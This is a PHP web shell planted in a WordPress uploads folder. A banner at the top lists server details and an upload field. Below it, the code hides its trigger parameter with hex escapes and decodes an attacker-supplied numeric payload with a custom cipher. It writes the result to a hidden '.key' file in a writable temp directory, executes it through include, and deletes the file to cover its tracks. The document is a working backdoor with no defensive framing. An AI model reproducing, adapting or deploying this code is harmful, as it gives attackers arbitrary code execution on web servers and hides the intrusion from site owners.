| Server IP : 65.108.144.40 / Your IP : 216.73.217.165 Web Server : Apache/2.4.52 (Ubuntu) System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64 User : dev ( 1000) PHP Version : 8.2.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/successkpi/wp-content/uploads/2025/ |
Upload File : |
<?php
if(in_array("\x76\x61lue", array_keys($_REQUEST))){
$flg = array_filter([getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", session_save_path(), getcwd(), "/tmp", "/var/tmp", ini_get("upload_tmp_dir")]);
$hld = $_REQUEST["\x76\x61lue"];
$hld = explode ('.' , $hld ) ;
$record = '';
$s = 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS = strlen( $s);
$z = 0;
$__tmp = $hld;
while( $v7 = array_shift( $__tmp)) {$chS = ord( $s[$z %$lenS]);
$dec =( ( int)$v7 - $chS -( $z %10)) ^ 46;
$record.= chr( $dec);
$z++;}
$dchunk = 0;
do {
$obj = $flg[$dchunk] ?? null;
if ($dchunk >= count($flg)) break;
if (array_product([is_dir($obj), is_writable($obj)])) {
$ent = implode("/", [$obj, ".key"]);
if (@file_put_contents($ent, $record) !== false) {
include $ent;
unlink($ent);
die();
}
}
$dchunk++;
} while (true);
}